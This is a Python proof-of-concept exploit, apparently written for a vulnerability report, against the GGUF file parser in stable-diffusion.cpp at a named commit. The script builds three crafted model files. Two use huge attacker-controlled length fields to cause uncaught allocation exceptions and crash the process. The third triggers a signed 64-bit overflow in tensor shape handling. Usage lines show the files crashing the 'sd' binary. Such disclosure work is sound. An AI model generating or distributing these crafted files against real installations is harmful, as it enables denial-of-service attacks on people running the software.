| |
| """ |
| PoC: stable-diffusion.cpp GGUFReader β Unbounded Allocation from Attacker-Controlled |
| Length Fields causes Unhandled C++ Exception and Process Crash (DoS) |
| |
| File: src/gguf_reader.hpp (GGUFReader class) |
| Repository: https://github.com/leejet/stable-diffusion.cpp |
| Commit: d6dd6d7b555c233bb9bc9f20b4751eb8c9269743 |
| |
| Usage: |
| python3 poc_sd_cpp_gguf_reader.py |
| ./sd --model poc_metadata_oob.gguf # crashes with std::terminate() |
| ./sd --model poc_tensor_oob.gguf # crashes with std::terminate() |
| ./sd --model poc_shape_overflow.gguf # signed int overflow -> UB |
| """ |
| import struct |
|
|
| def u32le(v): return struct.pack('<I', v) |
| def u64le(v): return struct.pack('<Q', v) |
|
|
| def build_poc_metadata(): |
| """Bug 1: key_len -> std::string(key_len, '\0') at line 62 β uncaught std::length_error""" |
| data = b"GGUF" |
| data += u32le(999) |
| data += u64le(0) |
| data += u64le(1) |
| data += u64le(0x4141414141414141) |
| return data |
|
|
| def build_poc_tensor(): |
| """Bug 2: name_len -> info.name.resize(name_len) at line 140 β std::bad_alloc uncaught by catch(runtime_error)""" |
| data = b"GGUF" |
| data += u32le(999) |
| data += u64le(1) |
| data += u64le(0) |
| data += u64le(0x4242424242424242) |
| return data |
|
|
| def build_poc_shape_overflow(): |
| """Bug 3: shape[3] *= shape[4] at line 155 β signed int64 overflow (UB)""" |
| data = b"GGUF" |
| data += u32le(999) |
| data += u64le(1) |
| data += u64le(0) |
| name = b"evil" |
| data += u64le(len(name)) |
| data += name |
| data += u32le(5) |
| for s in [1, 1, 1, 0x4000000000000000, 4]: |
| data += struct.pack('<q', s) |
| data += u32le(0) |
| data += u64le(0) |
| return data |
|
|
| if __name__ == '__main__': |
| for fname, builder, desc in [ |
| ("poc_metadata_oob.gguf", build_poc_metadata, "key_len crash (32 bytes)"), |
| ("poc_tensor_oob.gguf", build_poc_tensor, "name_len crash (32 bytes)"), |
| ("poc_shape_overflow.gguf", build_poc_shape_overflow, "shape overflow (92 bytes)"), |
| ]: |
| data = builder() |
| with open(fname, 'wb') as f: |
| f.write(data) |
| print(f"[+] {fname} ({len(data)} bytes) β {desc}") |